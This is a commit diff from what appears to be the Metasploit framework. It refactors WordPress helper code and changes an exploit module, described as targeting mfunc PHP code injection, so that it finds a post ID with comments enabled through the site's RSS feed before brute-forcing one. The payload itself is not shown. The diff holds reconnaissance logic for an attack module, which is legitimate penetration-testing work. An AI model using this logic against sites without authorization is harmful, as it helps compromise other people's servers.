use feed first before trying to bruteforce
parent
5f7ccf1cbe
commit
035258389f
|
@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient
|
|||
new_str
|
||||
end
|
||||
|
||||
# Returns the Path+Query from a full URI String, nil on error
|
||||
def path_from_uri(uri)
|
||||
begin
|
||||
temp = URI(uri)
|
||||
ret_uri = temp.path
|
||||
ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
|
||||
return ret_uri
|
||||
rescue URI::Error
|
||||
print_error "Invalid URI: #{uri}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target host
|
||||
#
|
||||
|
|
|
@ -116,15 +116,7 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
|
||||
location = res.headers['Location']
|
||||
begin
|
||||
temp = URI(res.headers['Location'])
|
||||
uri = temp.path
|
||||
uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
|
||||
return uri
|
||||
rescue URI::Error
|
||||
print_error("#{peer} - Invalid Location Header returned (not an URI): #{location}")
|
||||
return nil
|
||||
end
|
||||
path_from_uri(location)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -52,14 +52,33 @@ module Msf::HTTP::Wordpress::Posts
|
|||
# @param post_id [Integer] The post ID to check
|
||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_post_comments_enabled?(post_id, login_cookie=nil)
|
||||
def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil)
|
||||
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
|
||||
end
|
||||
|
||||
# Checks if the provided post has comments enabled
|
||||
#
|
||||
# @param url [String] The post url
|
||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_post_comments_enabled?(url, login_cookie=nil)
|
||||
wordpress_helper_check_post_id(url, true, login_cookie)
|
||||
end
|
||||
|
||||
# Gets the post_id from a post body
|
||||
#
|
||||
# @param body [String] The body of a post
|
||||
# @return [String,nil] The post_id, nil when nothing found
|
||||
def get_post_id_from_body(body)
|
||||
return nil unless body
|
||||
body.match(/<body class="[^=]*postid-(\d+)[^=]*">/i)[1]
|
||||
end
|
||||
|
||||
# Tries to get some Blog Posts via the RSS feed
|
||||
#
|
||||
# @param max_redirects [Integer] maximum redirects to follow
|
||||
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
|
||||
def wordpress_get_all_blog_posts_via_feed
|
||||
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
|
||||
vprint_status("#{peer} - Enumerating Blog posts...")
|
||||
blog_posts = []
|
||||
|
||||
|
@ -70,7 +89,7 @@ module Msf::HTTP::Wordpress::Posts
|
|||
'method' => 'GET'
|
||||
})
|
||||
|
||||
count = datastore['NUM_REDIRECTS']
|
||||
count = max_redirects
|
||||
|
||||
# Follow redirects
|
||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||
|
@ -109,7 +128,8 @@ module Msf::HTTP::Wordpress::Posts
|
|||
end
|
||||
|
||||
links.each do |link|
|
||||
blog_posts << link[0]
|
||||
path = path_from_uri(link[0])
|
||||
blog_posts << path if path
|
||||
end
|
||||
return blog_posts
|
||||
end
|
||||
|
|
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def get_blog_posts(xml_rpc, ip)
|
||||
# find all blog posts within IP and determine if pingback is enabled
|
||||
blog_posts = wordpress_get_all_blog_posts_via_feed
|
||||
blog_posts = wordpress_get_all_blog_posts_via_feed(datastore['NUM_REDIRECTS'])
|
||||
blog_posts.each do |blog_post|
|
||||
pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post)
|
||||
if pingback_response
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
||||
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
||||
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
||||
then the module will automatically bruteforce one. Also, if anonymous comments
|
||||
then the module will automatically find or bruteforce one. Also, if anonymous comments
|
||||
aren't allowed, then a valid username and password must be provided. In addition,
|
||||
the "A comment is held for moderation" option on Wordpress must be unchecked for
|
||||
successful exploitation. This module has been tested against Wordpress 3.5 and
|
||||
|
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
unless wordpress_and_online?
|
||||
fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site")
|
||||
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
|
||||
end
|
||||
|
||||
@auth = require_auth?
|
||||
|
@ -117,14 +117,31 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@post_id = datastore['POSTID']
|
||||
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
||||
else
|
||||
print_status("#{peer} - Trying to brute force a valid POST ID...")
|
||||
min_post_id = datastore['MIN_POST_ID']
|
||||
max_post_id = datastore['MAX_POST_ID']
|
||||
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
|
||||
if @post_id.nil?
|
||||
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||
else
|
||||
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
||||
print_status("#{peer} - Trying to get posts from feed...")
|
||||
all_posts = wordpress_get_all_blog_posts_via_feed
|
||||
# First try all blog posts provided by feed
|
||||
if all_posts
|
||||
all_posts.each do |p|
|
||||
vprint_status("#{peer} - Checking #{p}...")
|
||||
enabled = wordpress_post_comments_enabled?(p, @cookie)
|
||||
@post_id = get_post_id_from_body(enabled)
|
||||
if @post_id
|
||||
print_status("#{peer} - Found Post POST ID #{@post_id}...")
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
# if nothing found, bruteforce a post id
|
||||
unless @post_id
|
||||
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
|
||||
min_post_id = datastore['MIN_POST_ID']
|
||||
max_post_id = datastore['MAX_POST_ID']
|
||||
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
|
||||
if @post_id.nil?
|
||||
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||
else
|
||||
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue